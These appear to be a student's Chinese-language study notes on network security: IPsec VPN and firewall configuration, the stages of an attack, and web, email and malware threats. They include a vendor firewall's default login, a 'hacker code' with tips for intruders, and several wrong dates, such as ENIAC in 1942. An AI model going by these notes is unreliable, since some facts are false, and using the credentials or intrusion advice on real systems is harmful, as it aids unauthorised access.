  5. 隧道模式:加密整个私有ip,包括ip包头,更安全,速度慢。原理:是发送到路由器将整个包封装发送到用户内网解密发送给用户。 IPsecVPN分为2大阶段

    1. 第一阶段:管理连接,通过双方设备和非对称加密算法加密对称加密算法所使用的对称秘钥。

      conf t
      crypto isakmp policy 序号                           //传输集
          encryption [des|3des|aes]                      //对称密码
          hash [md5|sha]                                 //完整性
          group [1|2|5]                                  //非对称密码,默认是DH,1/2/5代表长度
          authentication pre-share                       //身份验证,预共享密钥
          lifetime “秒”                                   //默认86400秒后失效
          exit
      crypto isakmp key "预共享密钥" address “对方的公网ip地址”
    2. 第二阶段:数据连接,通过对称加密算法加密实际所要传输的数据。

      access-list 100 permit ip “源ip” “源反子网掩码” “目标ip” “目标反子网掩码”       //只有ip是源网段中的并且要去目标网段的才会触发隧道。
      crypto ipsec transform-set “自定传输模式名” esp/ah-[des|3des|aes] [esp|ah]-[md5|sha]-hmac
          //ESP:支持加密及认证(身份验证+完整性)
          //AH:只支持认证(身份验证+完整性)
          //hmac:调用预共享密钥实现身份验证
      ​
    3. MAP映射表用于将两个阶段的存放

      conf t
      crypto map 定义map名 序号 isakmp
          match address acl表名
          set transform-set 定义传输模式名
          set peer 对方公网ip
          exit
    4. 将map表应用到外网端口

      int fo/1                               //外网端口
          crypto map map名
          exit
      //一个接口只能应用一个map表,但是可以使用相同名称用号区分来应用多张表。阶段一和map的序号并不是同一个序号。
    5. 查看

      show crypto isakmp policy          //查看第一阶段
      show crypto ipsec transform-set//查看第二阶段
      show crypto isakmp sa                //查看第一阶段的状态
      show crypto ipsec sa                   //查看第二阶段的状态
      //第一阶段是有默认值的也可以不配置。
    6. 内网到外网的路由器过程:路由 -- NAT -- VPN -- 出去。

    7. 远程访问VPN的工作原理:

      1. 用户访问公司VPN服务器是需要登录,如果登录成功VPN服务器会分配预留的ip地址和权限给远端用户,用户使用分配的IP访问公司内网指定私有ip,VPN软件会将封装并将两个公网ip添加,到 公司VPN服务器后VPN会通过私有ip发送给内网指定电脑的。

    8. 使用2008上的VPN服务器部署

      1. 打开一个xp,两个2008,xp进入网段一,一个2008进入网段一和二另一个进入网段二并打开web服务器。

      2. 在进入了连个网段的服务器上点击开始中的管理工具菜单下的“路由和远程访问”(VPN的TCP端口号是1723)。

      3. 本地右键启用在对话框中选择“自定义配置”后,选择“VPN访问”,拨号访问、NAT和基本防火墙后下一步即可。远程访问拨号创建用户后右键属性,点击拨入将其选择“允许”。

      4. 本地右键属性,选择安全“将省份验证选择”选择win验证后,点击IP将其选择静态地址池并添加即可。

      5. 找到路由选择中的“NAT配置”NAT将送来的包发出去。NAT右键“新建接口”,选择第二网段接口后,在对话框中选择在公网接口连接到Internet和在此接口上启用NAT即可。

      6. xp上部署客户端,上网邻居右键属性,右侧新建一个连接后会出现对话框,选择“连接到我的工作场所的网络”,选择“虚拟专用网络连接”,写入名称和ip即可。

      7. 这用不同网络的可以通过VPN服务器安全通信了。

      8. 我们使用两块网卡来搭建是为了好理解,真实网络中一块网卡就可以了。PC电脑的路由表。查看命令“route print”,启用了拨号除本网段外的都会走隧道。

5.防火墙

  1. 防火墙的定义是一款具备安全防护功能的网络设备。隔离网络是将需要保护的网络与不可信人的网路进行隔离,隐藏信息并进行安全防护。

  2. 防火墙基本功能:访问控制、攻击防护、荣誉设计、路由、交换、日志记录、虚拟专网VPN、NAT。

  3. 区域隔离防火墙分为三个区域:内网区域、DMZ区域也称为隔离区、外部区域。内可以访问其他两个区域、DMZ可以访问外,而外不可以访问内,只能访问DMZ中开放的端口,DMZ就是公司的服务器区。

  4. 防火墙的分类:形态分为软件防火墙和硬件防火墙。按技术实现分为:包获取防火墙、状态检测包过滤防火墙、应用(代理)防火墙、应用层防火墙。

  5. 防火墙的发展历史:包过滤防火墙是最早之一的功能简单和配置复杂的防火墙、应用网关防火墙是最早之二的连接效率低速度慢的防火墙、状态检测防火墙是现代最主流速度快配置方便功能多的防火墙。未来防火墙向高速对七层数据进行检测。

  6. 应用代理是用户将包发出到防火墙后,防火墙拿出数据后,防火墙拿着数据去访问服务器,所实现的代理。

  7. 应用网关型防火墙也叫应用代理防火墙,每个代理需要一个不同的应用进程或一个后台运行的服务程序,对每个新的应用必须添加针对此应用服务程序,否则不能使用该服务。安全高、检查内容、连接性能差、可伸缩性差。

  8. 状态检测防火墙的工作原理:内网到用户把包发出到防火墙,防火墙先检查状态,如果没有就记录ip、端口和生成的虚拟端口,再检查策略和路由,只要创建记录后下次内网访问外网时只需要检查状态即可(记录只会在最后一个通信后存在60秒)。回来时也一样先检查状态如果没有就检查策略,这里要注意的是外网来的包无法创建状态记录。

  9. 衡量防火墙性能的5大指标:

    1. 吞吐量:在不丢包的情况下单位时间内通过的数据包数量

    2. 时延:数据包第一个比特进入防火墙到最后一比特从防火墙输出的时间间隔

    3. 丢包率:通过防火墙传送时所丢失数据包数量占所发送数据包的比率

    4. 并发连接数:防火墙能够同时处理的点对点连接的最大数目

    5. 新建连接数:在不丢包的倩况下每秒可以建立的最大连接数

  10. 防火墙的工作模式分为透明模式、路由模式、混合模式。

  11. 透明模式早期称为桥模式一般用于用户网络已经建设完毕,网络功能基本已经实现的情况下,用户需要加装防火墙以实现安全区域隔离需求。防火墙接口处于二层接口通过端口隔离。

  12. 路由模式也称为NAT模式一般用于防火墙当作路由器和NAT设备连接上网的同时,提供安全过滤功能。防火墙接口处于三层接口通过ip隔离。 混合模式一般网络情况为透明模式和路由模式的混合。

5.1 部署天融信防火墙

  1. 天融信防火墙出厂时自带一个默认用户“superman”和密码“talent”。直接访问防火墙的ip就可以打开登录页面了。

  2. 使用一个防火墙设备和两个2003与一个xp做实验。先将计算机和防火墙连接并配置ip和子网掩码。打开网页防火墙并登录,选择资源管理的区域设置三个区域。

  3. 选择网络管理的端口后你可以看见哪几个是被使用的,然后点击编辑对端口做配置。选择防火墙的访问控制编写策略并做地址转换。

  4. 选择资源管理找到地址,在其中添加地址,添加地址是为了以后服务器ip更换后只需要修改地址就可以了,不需要修改其他配置。

  5. 源转换做完后做目标转换时写策略,SK是先做策略后做目标转换,天融信是先做目标转换后做策略。

  6. HA是实现防火墙和防火墙之间做备份的技术,两台防火墙的内网接口和外网接口IP地址一样,只有防火墙和防火墙之间的心跳线ip不一样。

  7. 网络管理中选择接口后,编写物理接口并添写,一定要把“非同步地址”勾选,应为他是心跳线接口。选择高可用性中的高可用性后选择双机热备份即可。在另一台上做法一样的配置,除IP和主从不一样(配置一台交换机时可以将另一台防火墙的网线拔掉)

信息安全

1.信息安全定义

  1. 信息安全是一个抽象的概念,国际标准化组织(iso)认为信息安全是指通过技术和管理对计算机软硬件和数据不因偶然或恶意原因遭受破坏或更改。

  2. 信息安全是防止未经授权的对象访问、使用、拨露、中断、修改、检查、记录或破坏信息的做法。

  3. 凡是涉及信息系统中信息的保密性、完整性、可用性、可控性和不可否认性的相关和理论都市信息安全所要研究的领域,也是信息安全发展的五个基本要素。

    1. 保密性是不被未授权的实体进程所知、完整性是指信息在存储和传输过程中不被非法篡改、可用性是信息能被授权实体进程正常使用、可控性是信息传输的范围是可控的、不可否认性也就是抗抵赖性,指接收到的信息包含一定凭证可以让发信息方无法否认发过该信息。

  4. 信息安全重要性

    1. 1942年2月14日,世界上第一台计算机ENLAC在美国宾夕法尼亚大学诞生。计算机的应用领域从最初的军事逐步到社会的各个领域,已经形成庞大的产业链

    2. 信息安全与经济发展,国家互联网应急中心(CNCERT)发布的《2016年中国互联网网络安全报告》拨露;2016年全球发生了多起工业控制领域重大事件。

  5. 信息不安全根源

    1. 信息安全无法做到百分之百安全,原因分为客观原因和主观原因。

    2. 客观原因分为:操作系统、软件、协议缺陷。

      1. 操作系统是管理和控制计算机软硬件资源的程序,为用户和计算机提供接口,同时未硬件和软件提供接口。

        1. 操作系统安全问题只要体现在两个方面:操作系统漏洞是系统在设计和实现过程中产生的不可避免的逻辑技术缺陷和错误,称为“bug”;用户配置不恰当是用户对操作系统是不同的熟悉程度,依赖于用户配置安全防护是不可靠的。

      2. 软件是运行在操作系统上的程序为用户提供功能,在开发过程中,可能会有人的疏忽或编程语言的局限性留下bug。

      3. 协议缺陷是指网络协议是计算机中各个实体通信和服务时要遵守的规则和约定。协议受时代背景和制定者的知识水平的限制,会存在不足。

    3. 主观原因

      1. 互联网络时一个开放的虚拟世界,时一个无门槛超越国界并没有完善的法律来约束,导致部分人的恶意破坏。

      2. 来自部分的合法用户对信息安全的威胁往往容易被忽视却影响更恶劣。

  6. 信息安全主要内容

    1. 信息安全专业时一门交叉学科,涉及数学、计算机、法律、心理学等多个学科。信息安全内容分为五个方面,包括物理安全、网络安全、系统安全、应用安全和管理安全(三分技术,七分管理)。

    2. 2016年11月7日,全国人民代表大会常务委员会颁布了《中华人民共和国网络安全法》,自2017年6月1日开始施行。

2.黑客

2.1 黑客概述

1.黑客含义

  1. 黑客(Hacker)一词来源于英语单词“hack”。在线新华字典给出的解释是:“指精通电子计算机技术善于从互联网中发现漏洞并提出改进措施的人”,“指通过互联网非法侵入他人的计算机系统查看、更改、窃取保密数据或干扰计算机程序的人”。美国《发现》杂志对对黑客的定义是以下五类人。研究计算机程序并以此增长自身技巧的人、对编程有无穷兴趣和热忱的人、能快速编程的人、某专门系统的专家、恶意闯入他人的计算机系统,意图盗取敏感信息的人。前四种为“白帽黑客”,第五种为“黑帽黑客”。

2.黑客意义

  1. 近年来,网络攻击事件频发,使黑客这个群体进入人们的视野。

  2. 开发者在设计实现一个产品的时候会有考虑不周的地方。

  3. 这个世界上不存在绝对安全的系统,实践是检验真理的唯一标准,设备、系统、软件和协议只有在实际运行中接受实践的考验,不断完善修补才能越完全。黑客是对检测人员的一个补充。黑客是主流中的支流,虽然永远不可能成为主流,但却是主流中不可或缺的一部分。

3.黑客守则

  1. 从知名黑客们的经历不难看出,黑客都是崇尚自由、反权威的狂热技术爱好者。他们虽然技艺高超、无所不能,但仍然有自己的道德准则。以下给出网络上流传的14条黑客守则;

  2. 不可以破坏任何系统,这用做只会给你带来麻烦

  3. 不修改任何系统文件,如果你为了要进入系统而修改它,请在达到目的后将它还原

  4. 不要轻易地将你要hack的站点告诉你不信任的朋友

  5. 不要在bbs/论坛上谈关于hack的任何事情

  6. 在post文章的时候不要使用真名

  7. 入侵期间,不要随意离开电脑

  8. 不要入侵或攻击电信或政府机关的主机

  9. 不在电话中谈论关于hack的任何事情

  10. 将笔记放在安全的地方

  11. 第遍所有有关系统安全或系统漏洞的文件

  12. 以入侵电脑中的账号不得不得删除或修改

  13. 不将你已破解的账号分享与你的朋友

  14. 不会编程的黑可不是好黑客

2.2 黑客攻击过程

  • 黑客的攻击技术有很多;但是攻击的步骤基本是不变的。可以把黑客攻击分为:踩点、扫描、查点、访问、提升权限、窃取信息、掩踪灭迹、创建后门、拒绝服务。

    1. 踩点是黑客在攻击之前通过一定手段收集目标主机的ip、操作系统类型和版本等基本信息,再根据目标主机的这些信息确定最终的攻击方案。

    2. 扫描是在评估完目标系统之后,黑客需要收集或者编写合适的工具来评估目标系统,识别监听服务,确定大致的攻击方向。

    3. 查点是针对系统上的有效用户账号或共享资源,进行更多入侵探测。

    4. 访问是根据前面步骤所得到的信息,连接目标机并对其进行远程控制。

    5. 提升权限是如果前面还只是到普通用户的权限,通过确定方式提升账户权限以便于更好地控制目标机。

    6. 窃取信息是控制目标主机之后,黑客就可以在目标机上窃取想要的信息。黑客守则,不做损害他人利益的事情。

    7. 掩踪灭迹是完成攻击之后,黑客需要进行痕迹清除,以免被目标主机发现。

    8. 创建后门是黑客的一次攻击基本完成,为了方便下一次入侵,他们往往会在系统上留下后门。

    9. 拒绝服务是入侵者无法获得访问权限,但是又志在必得,则有可能会借助最后一招,使用早准备好的漏洞代码使目标系统瘫痪。

2.3 黑客攻击事件

  1. 史上知名的一些黑客袭击时间

  2. 1988年,康奈尔大学研究生罗伯特.摩尔斯(22岁)向互联网上传了一个“蠕虫”程序。初心是探测互联网有多大,没想到以不可控的方式自我复制,使6000台计算机遭破坏。

  3. 2007年,有一个名为“熊猫烧香”的蠕虫病毒在网络上肆虐。是中国湖北的李俊为炫技而编写,主要通过下载文档传播。

  4. 2010年,震网病毒(stuxnet)于6月首次被检测出来,他是一个席卷全球工业界的病毒。

2.4 黑客的发展趋势

  1. 手段高明化,黑客界已经意识个人力量远远不够了,已经形成了一个团体,利用网络进行交流和团体攻击,五相交流经验和自己写工具。

  2. 活动频繁化,做一个黑客不再需要掌握大量的软硬件知识,黑客工具的大众化只要学几个工具就可以做攻击活动,也是频繁的主要原因。

  3. 动机复杂化,以前是狂热的计算机技术爱好者,现在的动机多样化、复杂化,可能是处于政治目的、金钱诱惑或报复心理。

3.即时通信软件安全

  1. 即时通信(Instant Message,IM)是一种使人们能够在网上识别在线用户并与他们实施交换信息的技术,是电子邮件发明以来迅速崛起的有一种在线通信方式。

  2. 1996年,三个以色列人维斯格、瓦迪和高德芬格聚在一起,决定开发一种是人与人在互联网上能够快速直接交流的软件。他们于1996年7月成立Mirabilis公司,并于同年11月推出时间第一款即时通信软件ICQ。

  3.  

3.2 即时通信软件工作原理

  1. 即时通信软件是通过即时通信技术实现在线交流的软件。

1.即时通信软件架构

  1. 目前主流的即时通信软件主要有两种结构形式:

    • 客户端/服务器(Client/Server,C/S)模式,用户使用前需要下载并安装,C/S架构典型代表有:腾讯QQ\微信、阿里旺旺、百度HI、Skype、Gtalk、新浪UC、MSN、飞信等

    • 浏览器/服务器(Browser/Server,B/S)模式,无须下载直接访问即可,经典的代表有:Website Live、53KF、Live800等。

2.即时通信工作过程

  1. 常见的即时通信软件有基于TCP/IP协议簇中的TCP进行通信,也有基于UDP的。TCP和UDP是建立在网络层的ip上的两种不同的通信传输协议。前者是以数据流的形式将数据分割、打包后,在虚电路上进行连续的、双向的、严格保证数据正确性的传输控制协议。而后者是以数据报的形式拆分后的数据先后到达顺序,不做要求的用户数据报协议。一般以UDP为主,TCP为辅。

  2. 即时通信软件工作过程:User A Client input username and password 发送request,Server Database 查询对比,如果成功。向a发送Json类型的状态码,与此同时,Server读取User A 的好友list,向其中在线的用户发送 User A 的状态。

3.3 即时通信软件安全隐患

  1. 因即时通信软件使用过程中产生的信息泄露导致的犯罪时间时有发生。

  2. 用户或软件泄露信息

    1. 用户使用电话号、其他个人信息、朋友圈都有泄露的可能,需要谨慎使用。

    2. 软件的好友推荐泄露真实姓名、推测好友的好友、附近的人、这些功能开发国语完善导致无意识泄露。

  3. 如何安全地使用

    1. User Login :不要随意告诉别人密码和验证码,谨慎对待收到的不明文件。

    2. QQ空间和朋友圈:谨慎晒带有敏感信息的图片、家人图片、位置信息、对好友进行分组。

4.电子邮件安全

  1. 电子邮件(Electronic Mail ,Email),是一种依赖于互联网技术进行信息交换的通信方式。电子邮件可以与世界上任何角落的用户进行文字、图像、音视频等多种形式的信息交互。

  2. 关于世界上的第一封电子邮件的说法有两种:1969年10月lenoard K.教授因此被称为“电子邮件之父”。另一种1971年美国国防部资助的Arpatnet项目中产生的。

  3. 国内外常见的知名免费邮箱:微软(Hotmail)、雅虎(yahoo!Mail)、Google(Gmail)、AOL(Aol Mail)、Zoho(Zoho Mail)、苹果(iCloud Mail)、网易(163/126/yeah)、腾讯(QQ邮箱)。

  4. 邮件工作原理

    1. User A Login Email, 单击“写信”后填写收件地,并写title and body。

    2. User A 单击“发送”,此时电子邮件交给用户代理。

    3. 电子邮件通过网络传送到63电子邮件服务器。

    4. 163 Server 通过地址转发给对应Server,并保存在收件人的邮件缓存中。

    5. 当User B login Email 时,邮件从他的收件人邮箱中传输到用户b的用户代理并显示出来。

    6. User B open Email 浏览。

  5. 邮件地址和密码安全

    1. 地址:

      1. 电子邮件地址格式:电子邮件是一个字符串,可以唯一地标识一个邮箱;电子邮箱通过@符号作为间隔符,@left UserName,@right Email Server。

      2. 电子邮件地址的安全隐患:电子邮件地址包含敏感信息、电子邮件地址的对外公开性。

    2. 密码:

      1. 在登录电子邮件时需要输入电子邮件和密码进行身份验证。电子邮件的安全性绝大部分依赖于密码的安全。

      2. 设置高安全性的密码、定期更改密码、不使用“免登录”或“记住密码”功能。

  6. 邮件传输安全

    1. 在邮件的收发默认采用pop3/smtp协议,pop3/smtp协议时建立在tcp/ip协议上的。tcp/ip协议是以明文进行传输的,这是极为不安全的。

    2. 基于这些问题,SSL/TLS应运而生,SSL(Secure Sockets Lsyer,安全套接层)及其继任者TLS(Transport Layer Security,传输层安全)是为网络通信提供安全及数据完整性的一种安全协议。使用SSL/TLS可以进行安全的tcp/ip链接,传输过程中都是以密文的形式显示。

  7. 邮件垃圾

    1. 垃圾邮件分为商业广告邮件、政治言论邮件、蠕虫病毒邮件、诈骗邮件。

    2. 电子邮件地址收集者一般通过一下方式:电子邮件自动手机软件、人工收集、黑客获取、第三方购买。

5.Web安全

5.1 web简介

  1. 万维网(world wide web,www)也成为web。文本建立再internet上,是一个以图形化界面提供全球性、跨平台的信息查找和浏览服务的分布式图形信息系统。

  2. 1987年苹果公司比尔.阿特金森设计的超媒体应用程序超卡(Hyper card)。超卡万维网极其相似,甚至远远超过万维网,可以为四最后万维网成功了?其根本原因是缺少能够承受超媒体的互联网,终究只是一个有限的自封闭系统。

  3. 1980年再欧洲计算机程序员伯纳斯.李在欧洲量子实验室中心(CERN)做咨询时,产生了不同Server连接的想法。他与罗伯特.卡雷欧一起编写了lENQUIRE来帮助工作人员查找CERN中心所使用的于各种软件之间的关联,该系统体现了万维网的核心思想,成为万维网的典型。1989年3月伯纳斯.李向CERN中心提交了一份后来被称为“万维网蓝图”。1990年11月12日他与罗伯特.卡雷欧合作提出了更加正式的关于万维网的建议。1991年8月6日,他在alt,hypertext新闻组上发布了万维网项目简介,这一天也标志着internet上万维网公共服务的首次亮相。

  4. 一般地,万维网系统中有web服务器和web客户端两个角色。web服务器负责提供信息;client就是各种浏览器,负责把浏览器传送过来的信息显示出来。

5.2 URL

  1. 统称资源定位符(Uniform Resource Loactor,url)也成为web地址,它标识了信息资源在网络中的存放位置。

  2. URL格式为:“协议”+://+主机名+:+端口号+目录路劲+文件名。

  3. 协议是指网络中传递信息所使用的标准。常用的有http:超文本文件服务、https:安全版超文本文件服务、ftp:文件传输服务、gopher:gopher信息查找服务、news:Usenet新闻组服务、telnet:远程主机连接服务、wais:WAIS服务器连接服务。

  4. 主机名指存放资源的服务器的域名或IP地址。

  5. 端口号用于区分一台服务器上的不同服务,其范围是1~65535,其中,1~1024为保留端口。

5.3 HTTP

  1. 1863年,美国人德特 纳尔逊创造了术语“超文本”;1981年,德特在著作中描写超文本是一个全球化德大文档,文档的各个部分在全球德服务器中通过“链接”来完成页面跳转。也是http的发展根基。

  2. 所谓的超链接,指从一个王爷的对象指向一个目标的链接关系。

  3. 超文本传输协议(Hyper Text Transfer Protocol,HTTP)是用于从Web服务器传输超文本到本地浏览器的传输协议。

  4. http是一个工作于Client-Server的请求/应答协议,工作流程图如下:

    1. 客户端判断用户在地址栏中输入的是域名还是ip地址,如果是域名,则启动dns解析查询。

    2. Client向web发起TCP连接请求,如果server可以提供服务,就发送一个同意连接的回应报文,Client收到后会再 次回复确认报文。自此,client-server的tcp连接完成。

    3. Client向server发送页面请求报文。web server收到请求之后,发送页面响应报文。

    4. Client收到数据后,显示到用户面前。当User动作完成,关闭网页时,Client和Server之间执行“四次挥手”来断开之间的TCP连接。

5.4 WEB安全威胁的类别

  1. 针对web的攻击大致可以分为一下几种类别。

    1. Web Server的安全威胁,主流软件有Apache、IIS、Nginx、Tomcat及Jboss等,都存在一些安全漏洞,攻击都可以利用这些漏洞发起攻击。

    2. 针对Web Application的安全威胁,开发人员使用ASP、JSP、PHP等脚本语言进行Web应用开发。语言本身可能存在一些漏洞,加上程序员的编写习惯,安全意识等因素,Web Application中可能存在一些安全漏洞。

    3. 针对传输协议的安全威胁,HTTP本身是一个明文传输协议。传输时报文需要在多个交换机或路由器的转发,在这个过程中及易遭受黑客窃听导致信息泄露。

    4. 针对Web Client的安全威胁,Web浏览器作为访问Web主要工具,其基本功能需要将GUI请求与HTTP请求相互转换。在这个过程中浏览器本身的漏洞,用户操作不当等导致网页挂马、浏览器挟持、Cookie欺骗等安全威胁。

  2. Web浏览器的安全威胁

    1. Cookie

      1. HTTP是无状态的,没法依靠HTTP来保持用户在线状态。

      2. 1994年6月,网景通信公司的Lou Moutulli提出在用户的计算机上存放一个小的文件来记录用户对网站的访问情况。这个想法后来演变成最初的Netscape Cookie规范,目前采用的Cookie技术的标准RFC6265于2011年4月发布。在HTTP请求时默认携带的一段文本片段,进行session跟踪而存储在用户本地终端上的数据。

      3. Cookie技术很好地解决了用户在线状态保持的问题。Session跟踪等都是通过Cookie技术实现。

        1. 隐私安全和广告,有网站滥用Cookie在未经访问者许可,利用搜索引擎技术,数据挖掘技术甚至网络欺骗技术收集他人的个人资料,通过Cookie给用户推送广告。

        2. Cookie欺骗,Cookie欺骗是通过盗取、修改、伪造Cookie的内容来欺骗Web系统并得到相应权限或者进行相应权限操作的一种攻击方式。虽然目前Cookie信息在网络上传输时都是经过MD5加密的,但是仍然无法消除欺骗带来的安全隐患。

    2. 网页挂马

      1. 网页挂马是黑客通过服务器漏洞,web application漏洞,网站敏感文件扫描等方法获得网站Administrator后,将自己编写的网页木马嵌入网页。

        1. 框架挂马是最常见的挂马方式,一般是在目前网页的某个位置添加一行挂马的程序。

        2. 脚本挂马是通过脚本语言调用来挂马,挂的文件可以是HTMl或js挂马的形式可以是明文也可以是密文。

        3. 图片挂马是利用图片来伪装木马,黑客使用特定的工具将木马植入特定的图片中,达到掩人耳目的目的。

    3. 浏览器挟持

      1. 浏览器挟持是通过浏览器插件、BHO、WinsockLSP等对用户的浏览器进行篡改,使用户访问时被转向恶意网页等。

5.5 Web浏览器的安全防范

  1. web程序应用作为当今网络应用体系的主角,吸引着庞大的用户群体,而浏览器又是主要的web客户端之一,因此浏览器的安全显得尤为重要。

  2. 关闭自动完成功能是在使用浏览器的过程中,用户经常需要输入网址、用户名、密码等条目以便访问某个网页。浏览器存储以方便下次使用。

  3. Cookie设置可以避免隐私安全的泄露。

  4. 安全区域设置是可以保证用户访问的安全区域,来保护用户信息安全。

  5. SmartScreen筛选器是微软IE/Edge浏览器中的一种网站检测功能,主要以三个方面保护用户的信息。

    1. 分析用户所浏览的页面是否可疑页面。

    2. 根据所报告的网络钓鱼站点和恶意软件的动态列表检查用户所访问的站点。

    3. 根据所报告的恶意软件站点和已知不安全程序的列查用户从web下载的文件。

  6. 防跟踪指网站、第三方内容提供商、广告商和其他各方通过访问页面掌握用户如何与站点进行交互的方法。

    1. 启用跟踪保护可以有效地控制潜在威胁代码的执行。

    2. 启用“DNT功能”是一个能避免用户被从未访问的第三方内容提供商跟踪的浏览器功能。

  7. 隐私模式访问是浏览器访问页面后,要丢掉但并没有的信息。

  8. 位置信息是指用户的物理位置。

6.电子商务安全

  1. 电子商务是以信息网络技术为手段,以商品交换为中心的商务活动,是全球各地广泛的商业贸易话动中的一种型商业运营模式。

  2. 常见的电子商务模式以下5种:企业对企业(Business to Business,B2B)、企业对消费者(Business to Consumer, B2C)、消费者对消费者(Consumer to Consumer,C2C)、线下至线下(Onlineo to Online,O2O)、消费者对企业(Consumer to Business,C2B)

  3. 电子商务中的实体对象 无论是那一种模式的电子商务,基本都涉及4个实体对象,即交易平台、交易平台经营者、站内经营者和支付系统。

  4. 电子商务交易平台安全

    1. 电子商务交易平台的安全隐患 常见的安全隐患有以下几个方面,平台漏洞、恶意攻击、内部攻击。

    2. 电子商务交易平台的安全防范 对运营商来说,应该定期进项漏洞扫描和补丁安装。 对于用户来说,选择可靠的电商平台。

    3. 支付安全,实名注册账户并绑定银行卡、浏览,选购商品、填写收货信息并下单、 在线支付、双方核对订单、 物流公司发货、 用户确认收货、用户对商品评价。

    4. 账户安全

      1. 安装安全控件是为了防止用户账号和密码被木马程序或者病毒盗取。

      2. 安装数字证书是荣国数据加密,数字签名等技术实现对信息传输的保密性、完整性的有效保障。

      3. 使用支付盾是将电子认证服务机构为客户提供的数字证书保存在USBKey中。

      4. 设置安全保护问题主要于在pc端找回登录密码,支付密码和申请证书。

      5. 设置安全的密码并妥善保管。

  5. 验证码安全

    1. 验证码-全自动区分计算机和人类的图灵测试(Completely Automatecl Public Turing Test to tell Conmputers and Humans Apart,CAPTCHA),是一种区分用户是计算机还是人的公共全自动程序。

    2. 二维码安全 二维码(Quick Response Code,QRCode)得到了大范围的普及。二维码可以过去、跳转、管理、支付、溯源。可是隐患是显而易见的,隐藏木马或病毒的二维码、付款码。 付款码保管好、不随意分享,选择可靠的官方二维码、不随意扫码。

    3. 支付宝免密支付和亲密付 支付宝中有一个小额免密支付功能,无须数据密码下单即可完成交易。

  6. 网络钓鱼

    1. 网络钓鱼的定义 网络钓鱼(Phishing),一般是指利用欺骗性和伪造的web网站引诱受害者伪造的站点上输入敏感信息,进而是是咋骗的一种攻击方式。

    2. 常见的网络钓鱼手段 :1.通过电子邮件进项网络钓鱼攻击 2.通过假冒网址进行网络钓鱼攻击 使用相似网址蒙骗用户通过url编码蒙骗用户 3.发布虚假信息诈骗 4.通过手机分享钓鱼网站诈骗

    3. 网络钓鱼防范: 1.从网络第钓鱼途径预防钓鱼者 2.培养分辨真假网站的能力 3.通过既有软件分辨真假网站 4.提高安全意识是防范的关键

7.操作系统安全

  1. 操作系统(operating System,os)是管理和控制计算机软件和硬件资源的计算机程序,是直接运行在“裸机”上的最基本的系统软件。 一个标准的个人计算机操作系统具备进程管理、内存管理、文件系统、网络通信、安全机制、用户界面和驱动程序几个功能。

    1. DOS操作系统 dos是磁盘操作系统的缩写,MS-DOS是微软公司于1979年为IBM个人计算机开发的一个单用户任务的操作系统。

    2. Windows操作系统 Windows是微软公司研发的采用了图形化模式CUI的操作系统,用户可以通过在执行“CMD”命令进入DOS模式。

    3. UNIX操作系统 UNIX操作系统最早又贝尔实验室于1969年开发出来的一个多用户、多任务、支持多重处理器结构的分时操作系统。

    4. linux是一个免费使用传播的类UNIX操作系统,1991年10月5日首次公开发布。林纳斯以linux为名加入到GNU计划中,并通过GPL(General Public License,通用公共许可证)的通用性授权、永续用户销售、复制并且改动程序。

    5. MacOS Mac OS是苹果公司自行开发的一个UNIX那个的图形化界面操作系统,运行于Macintosh系列计算机上。2011年7月20日,MacOS X正式被苹果改名为OS X,体现了Mac与IOS的融合。

  2. 登录安全

    1. 设置开机密码:win+r打开运行对话栏,输入“cmd”打开DOS,输入命令:net user "username" "password" /active:yes。

    2. 设置锁屏或屏保密码: Win+l 7.2.3 关闭远程桌面与远程协助 远程桌面和远程协助都是系统提供的远程控制计算机的功能。

  3. 文件安全

    1. NTFS可以设置权限,Administrator可以为普通用户设置、达到用户之间不干扰。

    2. 软件安全分为选择正规渠道下载软件、谨防安装过程中的流氓软件及插件、及时对软件进行上级与打补丁、安装防火墙,杀毒软件等安全软件。

    3. 操作系统漏洞是指计算机操作系统本身所存在的问题或技术缺陷。

    4. 移动操作系统概述 移动操作系统是指在移动设备上运行的操作系统,一般指在智能手机上运行的操作系统。1992年,IBM公司发布第一台智能手机(Simon)。具备打电话、收发邮件、发送传真、手写备忘录和第三方应用程序。

    5. 主流的三大移动操作系统是Google的Androld OS、苹果公司的IOS和微软公司的Windows Phone。 主流的锁屏方式又密码、图形、指纹和人脸。

8.病毒与木马

  1. 病毒

    1. 计算机病毒是指编写者在计算机程序中插入的破坏计算机功能或者破坏数据,影响计算机使用并且能够自我复制的一组计算机指令或代码。

    2. 计算机病毒特点

      1. 传染性是一台计算机病毒通过各种渠道扩散到未感染的计算机中。

      2. 破坏性是同城表现为增删改移导致程序无法运行。

      3. 潜伏性与可触发性是指大部分病毒并不会马上发作。病毒可触发性是指主机满足条件后被触发。

      4. 隐蔽性是指计算机病毒必须具有极强的隐蔽性。

    3. 蠕虫病毒 蠕虫病毒他能够独立运行,自我复制,并主动传播至其他计算机,可以说是以种智能病毒。浦东病毒需要将其自身依附到宿主程序上。 蠕虫一般既有探测和感染两个功能。

    4. 计算机感染病毒后的症状 分为计算机运行速度缓慢、菜谱使用率异常高、蓝屏且无故重启、浏览器异常、应用程序图标被篡改或空白、文件或文件夹无故消失。

  2. 木马

    1. 木马是一种基于远程控制的还可工具。

    2. 木马的工作原理 一个完整的木马程序一般包含客户端程序和服务器端程序两个部分,其中重要的Client主动连接Server的。

    3. 木马的分类:木马程序不经用户授权就使用用户的计算机,而且往往不易被发现。木马按功能可分为几大类。 破坏型、远程控制型、盗窃型由可分为(网银类、网游类、即时通信类、盗取隐私类)、推广型、下载型。

  3. 木马和病毒的异同

    1. 病毒和木马同属恶意程序,病毒可自我复制而木马则不具备、木马功能多样化,而病毒功能较为单一。

    2. 木马和病毒的传播方式,通过网页传播,通过网络下载传播,通过即时通信软件传播、通过邮件传播,通过局域网传播。

  4. 木马和病毒的安全防范

    1. 不随意打开来历不明的邮件、不随意下载来历不明的软件、不随意打开来历不明的网页、不随意接收即时通信软件中陌生人发来的文件、安装安全软件,定期查杀木马和病毒。

    2. 打开移动存储器之前要查杀木马和病毒,及时对操作系统和安全软件进行升级、定期备份,避免感染之后数据丢失。

9.网络通信基础

  1. 计算机网络是分布在不同地理位置,具有独立功能的多台计算机及其设备。在通信链路和通信设备连接起来,通过通信协议和管理软件的协调下,实现资源共享和信息传递的系统。

  2. ISO/OSI是国际标准化组织(ISO)于1985年研究的网络互联模型OSI。OSI分为7层各层独立,层与层之间通过接口互相联系,上层通过接口向下层提出要求,下层通过接口向上层提供服务。

  3. 一般把OSI的上三层视为资源子网部分,下三层则称为通信子网部分,第四层作为一个承上启下层的中间层。

  4. TCP/IP体系结构

